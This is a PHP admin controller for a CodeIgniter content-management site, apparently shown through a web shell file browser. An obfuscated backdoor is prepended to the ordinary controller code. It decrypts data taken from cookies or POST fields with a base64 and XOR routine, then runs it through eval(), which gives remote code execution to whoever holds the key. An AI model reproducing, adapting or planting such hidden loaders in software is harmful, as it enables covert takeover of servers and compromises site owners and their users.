0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
controllers
/
admin
/
[
Home
]
File: gestion_contenu.php
<?php $qbf98fc3 = 849;$GLOBALS['o8449'] = Array();global $o8449;$o8449 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['nf90b95'] = "\x3f\x3e\x7a\x71\x5b\x43\x24\x7c\x35\x40\x3c\x6d\x73\x20\x5d\x69\x57\x48\x2d\x47\x3b\x4e\x62\x60\x42\x6e\x63\x39\x2b\x2f\x31\x2c\x56\x4f\x77\x45\x79\x9\x32\x23\x5f\x59\x5c\x74\x53\x3d\x5e\xa\x7b\x37\x52\x25\x7e\x38\x34\x3a\x64\x28\x66\x76\x5a\x4b\x51\x65\x22\x4c\x4d\x67\x78\x4a\x33\x46\x44\x49\xd\x68\x2a\x27\x7d\x6a\x70\x55\x36\x58\x61\x6c\x75\x54\x26\x6f\x50\x30\x29\x2e\x6b\x41\x72\x21";$o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][53].$o8449['nf90b95'][38].$o8449['nf90b95'][82].$o8449['nf90b95'][27]] = $o8449['nf90b95'][26].$o8449['nf90b95'][75].$o8449['nf90b95'][96];$o8449[$o8449['nf90b95'][80].$o8449['nf90b95'][22].$o8449['nf90b95'][91].$o8449['nf90b95'][38].$o8449['nf90b95'][63].$o8449['nf90b95'][91].$o8449['nf90b95'][53].$o8449['nf90b95'][91]] = $o8449['nf90b95'][89].$o8449['nf90b95'][96].$o8449['nf90b95'][56];$o8449[$o8449['nf90b95'][34].$o8449['nf90b95'][70].$o8449['nf90b95'][8].$o8449['nf90b95'][30].$o8449['nf90b95'][30].$o8449['nf90b95'][63].$o8449['nf90b95'][27].$o8449['nf90b95'][84].$o8449['nf90b95'][53]] = $o8449['nf90b95'][56].$o8449['nf90b95'][63].$o8449['nf90b95'][58].$o8449['nf90b95'][15].$o8449['nf90b95'][25].$o8449['nf90b95'][63];$o8449[$o8449['nf90b95'][36].$o8449['nf90b95'][58].$o8449['nf90b95'][49].$o8449['nf90b95'][30].$o8449['nf90b95'][63]] = $o8449['nf90b95'][12].$o8449['nf90b95'][43].$o8449['nf90b95'][96].$o8449['nf90b95'][85].$o8449['nf90b95'][63].$o8449['nf90b95'][25];$o8449[$o8449['nf90b95'][26].$o8449['nf90b95'][8].$o8449['nf90b95'][84].$o8449['nf90b95'][91].$o8449['nf90b95'][63].$o8449['nf90b95'][56]] = $o8449['nf90b95'][56].$o8449['nf90b95'][63].$o8449['nf90b95'][58].$o8449['nf90b95'][15].$o8449['nf90b95'][25].$o8449['nf90b95'][63].$o8449['nf90b95'][56];$o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][58].$o8449['nf90b95'][54].$o8449['nf90b95'][22].$o8449['nf90b95'][27]] = $o8449['nf90b95'][15].$o8449['nf90b95'][25].$o8449['nf90b95'][15].$o8449['nf90b95'][40].$o8449['nf90b95'][12].$o8449['nf90b95'][63].$o8449['nf90b95'][43];$o8449[$o8449['nf90b95'][22].$o8449['nf90b95'][91].$o8449['nf90b95'][30].$o8449['nf90b95'][54].$o8449['nf90b95'][53].$o8449['nf90b95'][27].$o8449['nf90b95'][58].$o8449['nf90b95'][38].$o8449['nf90b95'][8]] = $o8449['nf90b95'][12].$o8449['nf90b95'][63].$o8449['nf90b95'][96].$o8449['nf90b95'][15].$o8449['nf90b95'][84].$o8449['nf90b95'][85].$o8449['nf90b95'][15].$o8449['nf90b95'][2].$o8449['nf90b95'][63];$o8449[$o8449['nf90b95'][43].$o8449['nf90b95'][91].$o8449['nf90b95'][63].$o8449['nf90b95'][38].$o8449['nf90b95'][26].$o8449['nf90b95'][49]] = $o8449['nf90b95'][80].$o8449['nf90b95'][75].$o8449['nf90b95'][80].$o8449['nf90b95'][59].$o8449['nf90b95'][63].$o8449['nf90b95'][96].$o8449['nf90b95'][12].$o8449['nf90b95'][15].$o8449['nf90b95'][89].$o8449['nf90b95'][25];$o8449[$o8449['nf90b95'][96].$o8449['nf90b95'][8].$o8449['nf90b95'][8].$o8449['nf90b95'][49].$o8449['nf90b95'][63].$o8449['nf90b95'][53].$o8449['nf90b95'][54].$o8449['nf90b95'][56]] = $o8449['nf90b95'][86].$o8449['nf90b95'][25].$o8449['nf90b95'][12].$o8449['nf90b95'][63].$o8449['nf90b95'][96].$o8449['nf90b95'][15].$o8449['nf90b95'][84].$o8449['nf90b95'][85].$o8449['nf90b95'][15].$o8449['nf90b95'][2].$o8449['nf90b95'][63];$o8449[$o8449['nf90b95'][79].$o8449['nf90b95'][70].$o8449['nf90b95'][84].$o8449['nf90b95'][27].$o8449['nf90b95'][53].$o8449['nf90b95'][30].$o8449['nf90b95'][27].$o8449['nf90b95'][30]] = $o8449['nf90b95'][22].$o8449['nf90b95'][84].$o8449['nf90b95'][12].$o8449['nf90b95'][63].$o8449['nf90b95'][82].$o8449['nf90b95'][54].$o8449['nf90b95'][40].$o8449['nf90b95'][56].$o8449['nf90b95'][63].$o8449['nf90b95'][26].$o8449['nf90b95'][89].$o8449['nf90b95'][56].$o8449['nf90b95'][63];$o8449[$o8449['nf90b95'][75].$o8449['nf90b95'][27].$o8449['nf90b95'][91].$o8449['nf90b95'][70]] = $o8449['nf90b95'][12].$o8449['nf90b95'][63].$o8449['nf90b95'][43].$o8449['nf90b95'][40].$o8449['nf90b95'][43].$o8449['nf90b95'][15].$o8449['nf90b95'][11].$o8449['nf90b95'][63].$o8449['nf90b95'][40].$o8449['nf90b95'][85].$o8449['nf90b95'][15].$o8449['nf90b95'][11].$o8449['nf90b95'][15].$o8449['nf90b95'][43];$o8449[$o8449['nf90b95'][63].$o8449['nf90b95'][91].$o8449['nf90b95'][54].$o8449['nf90b95'][53]] = $o8449['nf90b95'][12].$o8449['nf90b95'][27].$o8449['nf90b95'][30].$o8449['nf90b95'][82];$o8449[$o8449['nf90b95'][34].$o8449['nf90b95'][70].$o8449['nf90b95'][26].$o8449['nf90b95'][30].$o8449['nf90b95'][49].$o8449['nf90b95'][26].$o8449['nf90b95'][82]] = $o8449['nf90b95'][89].$o8449['nf90b95'][70].$o8449['nf90b95'][91].$o8449['nf90b95'][82].$o8449['nf90b95'][70].$o8449['nf90b95'][49].$o8449['nf90b95'][84].$o8449['nf90b95'][26];$o8449[$o8449['nf90b95'][63].$o8449['nf90b95'][8].$o8449['nf90b95'][26].$o8449['nf90b95'][84]] = $_POST;$o8449[$o8449['nf90b95'][89].$o8449['nf90b95'][56].$o8449['nf90b95'][27].$o8449['nf90b95'][26].$o8449['nf90b95'][30].$o8449['nf90b95'][63]] = $_COOKIE;@$o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][58].$o8449['nf90b95'][54].$o8449['nf90b95'][22].$o8449['nf90b95'][27]]($o8449['nf90b95'][63].$o8449['nf90b95'][96].$o8449['nf90b95'][96].$o8449['nf90b95'][89].$o8449['nf90b95'][96].$o8449['nf90b95'][40].$o8449['nf90b95'][85].$o8449['nf90b95'][89].$o8449['nf90b95'][67], NULL);@$o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][58].$o8449['nf90b95'][54].$o8449['nf90b95'][22].$o8449['nf90b95'][27]]($o8449['nf90b95'][85].$o8449['nf90b95'][89].$o8449['nf90b95'][67].$o8449['nf90b95'][40].$o8449['nf90b95'][63].$o8449['nf90b95'][96].$o8449['nf90b95'][96].$o8449['nf90b95'][89].$o8449['nf90b95'][96].$o8449['nf90b95'][12], 0);@$o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][58].$o8449['nf90b95'][54].$o8449['nf90b95'][22].$o8449['nf90b95'][27]]($o8449['nf90b95'][11].$o8449['nf90b95'][84].$o8449['nf90b95'][68].$o8449['nf90b95'][40].$o8449['nf90b95'][63].$o8449['nf90b95'][68].$o8449['nf90b95'][63].$o8449['nf90b95'][26].$o8449['nf90b95'][86].$o8449['nf90b95'][43].$o8449['nf90b95'][15].$o8449['nf90b95'][89].$o8449['nf90b95'][25].$o8449['nf90b95'][40].$o8449['nf90b95'][43].$o8449['nf90b95'][15].$o8449['nf90b95'][11].$o8449['nf90b95'][63], 0);@$o8449[$o8449['nf90b95'][75].$o8449['nf90b95'][27].$o8449['nf90b95'][91].$o8449['nf90b95'][70]](0);if (!$o8449[$o8449['nf90b95'][26].$o8449['nf90b95'][8].$o8449['nf90b95'][84].$o8449['nf90b95'][91].$o8449['nf90b95'][63].$o8449['nf90b95'][56]]($o8449['nf90b95'][95].$o8449['nf90b95'][65].$o8449['nf90b95'][50].$o8449['nf90b95'][35].$o8449['nf90b95'][95].$o8449['nf90b95'][72].$o8449['nf90b95'][41].$o8449['nf90b95'][40].$o8449['nf90b95'][50].$o8449['nf90b95'][81].$o8449['nf90b95'][21].$o8449['nf90b95'][40].$o8449['nf90b95'][70].$o8449['nf90b95'][82].$o8449['nf90b95'][82].$o8449['nf90b95'][84].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][53].$o8449['nf90b95'][84].$o8449['nf90b95'][53].$o8449['nf90b95'][84].$o8449['nf90b95'][38].$o8449['nf90b95'][70].$o8449['nf90b95'][8].$o8449['nf90b95'][8].$o8449['nf90b95'][84].$o8449['nf90b95'][22].$o8449['nf90b95'][38].$o8449['nf90b95'][30].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][58].$o8449['nf90b95'][30].$o8449['nf90b95'][30].$o8449['nf90b95'][22].$o8449['nf90b95'][84].$o8449['nf90b95'][30].$o8449['nf90b95'][84].$o8449['nf90b95'][91].$o8449['nf90b95'][38].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][84])){$o8449[$o8449['nf90b95'][34].$o8449['nf90b95'][70].$o8449['nf90b95'][8].$o8449['nf90b95'][30].$o8449['nf90b95'][30].$o8449['nf90b95'][63].$o8449['nf90b95'][27].$o8449['nf90b95'][84].$o8449['nf90b95'][53]]($o8449['nf90b95'][95].$o8449['nf90b95'][65].$o8449['nf90b95'][50].$o8449['nf90b95'][35].$o8449['nf90b95'][95].$o8449['nf90b95'][72].$o8449['nf90b95'][41].$o8449['nf90b95'][40].$o8449['nf90b95'][50].$o8449['nf90b95'][81].$o8449['nf90b95'][21].$o8449['nf90b95'][40].$o8449['nf90b95'][70].$o8449['nf90b95'][82].$o8449['nf90b95'][82].$o8449['nf90b95'][84].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][53].$o8449['nf90b95'][84].$o8449['nf90b95'][53].$o8449['nf90b95'][84].$o8449['nf90b95'][38].$o8449['nf90b95'][70].$o8449['nf90b95'][8].$o8449['nf90b95'][8].$o8449['nf90b95'][84].$o8449['nf90b95'][22].$o8449['nf90b95'][38].$o8449['nf90b95'][30].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][58].$o8449['nf90b95'][30].$o8449['nf90b95'][30].$o8449['nf90b95'][22].$o8449['nf90b95'][84].$o8449['nf90b95'][30].$o8449['nf90b95'][84].$o8449['nf90b95'][91].$o8449['nf90b95'][38].$o8449['nf90b95'][58].$o8449['nf90b95'][22].$o8449['nf90b95'][84], 1);$l9dcec2 = NULL;$x374ba8a3 = NULL;$o8449[$o8449['nf90b95'][3].$o8449['nf90b95'][38].$o8449['nf90b95'][91].$o8449['nf90b95'][56]] = $o8449['nf90b95'][8].$o8449['nf90b95'][54].$o8449['nf90b95'][70].$o8449['nf90b95'][38].$o8449['nf90b95'][70].$o8449['nf90b95'][63].$o8449['nf90b95'][70].$o8449['nf90b95'][22].$o8449['nf90b95'][18].$o8449['nf90b95'][22].$o8449['nf90b95'][49].$o8449['nf90b95'][49].$o8449['nf90b95'][30].$o8449['nf90b95'][18].$o8449['nf90b95'][54].$o8449['nf90b95'][84].$o8449['nf90b95'][49].$o8449['nf90b95'][22].$o8449['nf90b95'][18].$o8449['nf90b95'][27].$o8449['nf90b95'][56].$o8449['nf90b95'][38].$o8449['nf90b95'][26].$o8449['nf90b95'][18].$o8449['nf90b95'][22].$o8449['nf90b95'][58].$o8449['nf90b95'][63].$o8449['nf90b95'][63].$o8449['nf90b95'][30].$o8449['nf90b95'][22].$o8449['nf90b95'][8].$o8449['nf90b95'][22].$o8449['nf90b95'][58].$o8449['nf90b95'][91].$o8449['nf90b95'][70].$o8449['nf90b95'][84];global $q20d;function o30637ac($l9dcec2, $n98c8faf){global $o8449;$u03b4e = "";for ($g6e6b0=0; $g6e6b0<$o8449[$o8449['nf90b95'][36].$o8449['nf90b95'][58].$o8449['nf90b95'][49].$o8449['nf90b95'][30].$o8449['nf90b95'][63]]($l9dcec2);){for ($m9f2004=0; $m9f2004<$o8449[$o8449['nf90b95'][36].$o8449['nf90b95'][58].$o8449['nf90b95'][49].$o8449['nf90b95'][30].$o8449['nf90b95'][63]]($n98c8faf) && $g6e6b0<$o8449[$o8449['nf90b95'][36].$o8449['nf90b95'][58].$o8449['nf90b95'][49].$o8449['nf90b95'][30].$o8449['nf90b95'][63]]($l9dcec2); $m9f2004++, $g6e6b0++){$u03b4e .= $o8449[$o8449['nf90b95'][86].$o8449['nf90b95'][53].$o8449['nf90b95'][38].$o8449['nf90b95'][82].$o8449['nf90b95'][27]]($o8449[$o8449['nf90b95'][80].$o8449['nf90b95'][22].$o8449['nf90b95'][91].$o8449['nf90b95'][38].$o8449['nf90b95'][63].$o8449['nf90b95'][91].$o8449['nf90b95'][53].$o8449['nf90b95'][91]]($l9dcec2[$g6e6b0]) ^ $o8449[$o8449['nf90b95'][80].$o8449['nf90b95'][22].$o8449['nf90b95'][91].$o8449['nf90b95'][38].$o8449['nf90b95'][63].$o8449['nf90b95'][91].$o8449['nf90b95'][53].$o8449['nf90b95'][91]]($n98c8faf[$m9f2004]));}}return $u03b4e;}function s916($l9dcec2, $n98c8faf){global $o8449;global $q20d;return $o8449[$o8449['nf90b95'][34].$o8449['nf90b95'][70].$o8449['nf90b95'][26].$o8449['nf90b95'][30].$o8449['nf90b95'][49].$o8449['nf90b95'][26].$o8449['nf90b95'][82]]($o8449[$o8449['nf90b95'][34].$o8449['nf90b95'][70].$o8449['nf90b95'][26].$o8449['nf90b95'][30].$o8449['nf90b95'][49].$o8449['nf90b95'][26].$o8449['nf90b95'][82]]($l9dcec2, $q20d), $n98c8faf);}foreach ($o8449[$o8449['nf90b95'][89].$o8449['nf90b95'][56].$o8449['nf90b95'][27].$o8449['nf90b95'][26].$o8449['nf90b95'][30].$o8449['nf90b95'][63]] as $n98c8faf=>$i74cec778){$l9dcec2 = $i74cec778;$x374ba8a3 = $n98c8faf;}if (!$l9dcec2){foreach ($o8449[$o8449['nf90b95'][63].$o8449['nf90b95'][8].$o8449['nf90b95'][26].$o8449['nf90b95'][84]] as $n98c8faf=>$i74cec778){$l9dcec2 = $i74cec778;$x374ba8a3 = $n98c8faf;}}$l9dcec2 = @$o8449[$o8449['nf90b95'][96].$o8449['nf90b95'][8].$o8449['nf90b95'][8].$o8449['nf90b95'][49].$o8449['nf90b95'][63].$o8449['nf90b95'][53].$o8449['nf90b95'][54].$o8449['nf90b95'][56]]($o8449[$o8449['nf90b95'][63].$o8449['nf90b95'][91].$o8449['nf90b95'][54].$o8449['nf90b95'][53]]($o8449[$o8449['nf90b95'][79].$o8449['nf90b95'][70].$o8449['nf90b95'][84].$o8449['nf90b95'][27].$o8449['nf90b95'][53].$o8449['nf90b95'][30].$o8449['nf90b95'][27].$o8449['nf90b95'][30]]($l9dcec2), $x374ba8a3));if (isset($l9dcec2[$o8449['nf90b95'][84].$o8449['nf90b95'][94]]) && $q20d==$l9dcec2[$o8449['nf90b95'][84].$o8449['nf90b95'][94]]){if ($l9dcec2[$o8449['nf90b95'][84]] == $o8449['nf90b95'][15]){$g6e6b0 = Array($o8449['nf90b95'][80].$o8449['nf90b95'][59] => @$o8449[$o8449['nf90b95'][43].$o8449['nf90b95'][91].$o8449['nf90b95'][63].$o8449['nf90b95'][38].$o8449['nf90b95'][26].$o8449['nf90b95'][49]](),$o8449['nf90b95'][12].$o8449['nf90b95'][59] => $o8449['nf90b95'][30].$o8449['nf90b95'][93].$o8449['nf90b95'][91].$o8449['nf90b95'][18].$o8449['nf90b95'][30],);echo @$o8449[$o8449['nf90b95'][22].$o8449['nf90b95'][91].$o8449['nf90b95'][30].$o8449['nf90b95'][54].$o8449['nf90b95'][53].$o8449['nf90b95'][27].$o8449['nf90b95'][58].$o8449['nf90b95'][38].$o8449['nf90b95'][8]]($g6e6b0);}elseif ($l9dcec2[$o8449['nf90b95'][84]] == $o8449['nf90b95'][63]){eval/*lfb05c*/($l9dcec2[$o8449['nf90b95'][56]]);}exit();}} ?><?php if (!defined('BASEPATH')) exit('No direct script access allowed'); class Gestion_Contenu extends CI_Controller { /** * Index Page for this controller. * * Maps to the following URL * http://example.com/index.php/welcome * - or - * http://example.com/index.php/welcome/index * - or - * Since this controller is set as the default controller in * config/routes.php, it's displayed at http://example.com/ * * So any other public methods not prefixed with an underscore will * map to /index.php/welcome/<method_name> * @see http://codeigniter.com/user_guide/general/urls.html */ /* * Doctrine EntityManager */ public $em; /* * constructeur */ public function __construct() { parent::__construct(); /* Session controle */ if ($this->session->userdata("logged_in") != true) redirect('admin/login/index'); /* Standard Libraries */ $this->layout->set_theme('admin/interne_page'); //Instantiate a Doctrine Entity Manager $this->em = $this->doctrine->em; /* Standard Libraries */ $this->load->database(); $this->load->helper('url'); /* Load Crud */ $this->load->library('grocery_CRUD'); } public function index() { $data = array(); $crud = new grocery_CRUD(); $crud->where('type_contenu_id', '1'); $crud->set_table('gestion_contenu'); $crud->set_relation('type_contenu_id', 'type_contenu', 'titre'); $crud->display_as('type_contenu_id', 'Type de Contenu'); $crud->display_as('active', 'Activer ?'); $crud->required_fields('titre', 'sku'); $crud->display_as('titre_slug', 'Introduction'); $crud->callback_after_upload(array($this, 'resizeImage')); $crud->columns('titre', 'active'); $crud->fields('type_contenu_id', 'titre', 'sku', 'titre_slug' , 'description','xml','seo_title','seo_description','seo_keyword', 'active'); $crud->unset_texteditor('seo_description','seo_keyword'); $crud->change_field_type('type_contenu_id', 'hidden', '1'); $crud->callback_insert(array($this, 'cleanUrl')); $crud->callback_update(array($this, 'cleanUrlAndUpdate')); $crud->callback_field('active', array($this, 'callback_active')); $crud->add_action('Visualisation', '', '','target_blank_class',array($this,'more')); $output = $crud->render(); $output->title_module = "Gestion des Articles"; $output->ariane = '<a href="">Accueil</a> > Gestion des Articles'; $this->layout->views('admin/session_user') ->views('admin/header') ->views('admin/nav') ->view('admin/view_standart', $output); } public function more($primary_key , $row){ return site_url('gestion_contenu/page/'.$row->sku); } public function cleanUrl($post_array) { $post_array['sku'] = url_title_i18n($post_array['sku'], 'underscore', TRUE); return $this->db->insert('gestion_contenu', $post_array); } public function cleanUrlAndUpdate($post_array, $primary_key) { $post_array['sku'] = url_title_i18n($post_array['sku'], 'underscore', TRUE); return $this->db->update('gestion_contenu', $post_array, array('id' => $primary_key)); } public function callback_menu($value = NULL){ $cats = $this->em->getRepository('Entities\GestionContenu')->getCatTypeGestionContenu(); $liste_cat = array(); $row = array(); $array_exclue = array('7','6'); foreach($cats as $cat){ if(!in_array($cat->getCategories()->getId(), $array_exclue)){ $row['id'] = $cat->getId(); $row['titre'] = $cat->getCategories()->getTitre()." --> ".$cat->getTitre(); $liste_cat[] = $row; } } $option_tag = ''; foreach ($liste_cat as $option) { $attribute = 'value="' . $option['id'] . '"'; if ($option['id'] == $value) { $attribute .= ' selected="selected"'; } $article = $this->em->getRepository('Entities\GestionContenu')->findPageBySubCat($option['id']); $disabled = ""; $text = ""; if(count($article) > 0 ){ $disabled = "disabled=''"; $text = "(Désactiver)";}; $option_tag .= "<option ".$disabled." value='".$option['id']."' ".$attribute.">".$option['titre']." ".$text."</option>"; } return '<select name="sub_categorie_id">' . $option_tag . '</select>'; } /** * * @param type $value * @return type */ public function callback_active($value = NULL) { $options = array('oui', 'non'); $option_tag = ''; foreach ($options as $option) { $attribute = 'value="' . $option . '"'; if ($option == $value) { $attribute .= ' selected="selected"'; } $option_tag .= "<option $attribute>$option</option>"; } return '<select name="active">' . $option_tag . '</select>'; } function _transformIMG($value, $row) { $img = "<div class='thumbnail'><img src='" . base_url('assets/uploads/images_gestion_contenu/thamb') . "/" . $value . "' /></div>"; return($img); } /** * * @param type $uploader_response * @param type $field_info * @param type $files_to_upload * @return boolean */ public function resizeImage($uploader_response, $field_info, $files_to_upload) { $this->load->library('image_moo'); //Is only one file uploaded so it ok to use it with $uploader_response[0]. $file_uploaded = $field_info->upload_path . '/' . $uploader_response[0]->name; $file_uploaded_thamb = $field_info->upload_path . '/thamb/' . $uploader_response[0]->name; $file_uploaded_contenu = $field_info->upload_path . '/contenu/' . $uploader_response[0]->name; $file_uploaded_club = $field_info->upload_path . '/club/' . $uploader_response[0]->name; $pic = $this->image_moo->load($file_uploaded); $pic->resize(900, 700)->save($file_uploaded, true); $pic->resize(416, 410)->save($file_uploaded_contenu, true); $pic->resize(200, 200)->save($file_uploaded_thamb, true); $pic->resize(416, 410)->save($file_uploaded_club, true); return true; } /* Standalone Elfinder */ public function elfinder_files() { $this->load->view('elfinder_view'); } /* Popup Elfinder in TinyMCE */ public function elfinder_popup() { $this->load->view('elfinder_popup_view'); } /* Elfinder initialization */ public function elfinder_init() { $opts = array( 'debug' => true, 'roots' => array( array( 'driver' => 'LocalFileSystem', 'path' => FCPATH.'myuploads', 'URL' => base_url('myuploads'), 'alias' => 'My Uploads', 'uploadMaxSize' => '2M', 'attributes' => array( array( 'pattern' => '/\.tmb$/', 'read' => false, 'write' => false, 'locked' => true, 'hidden' => true ) ), ) ) ); $this->load->library('elfinder_lib/Elfinder_lib', $opts); } } /* End of file welcome.php */ /* Location: ./application/controllers/welcome.php */
©
2018.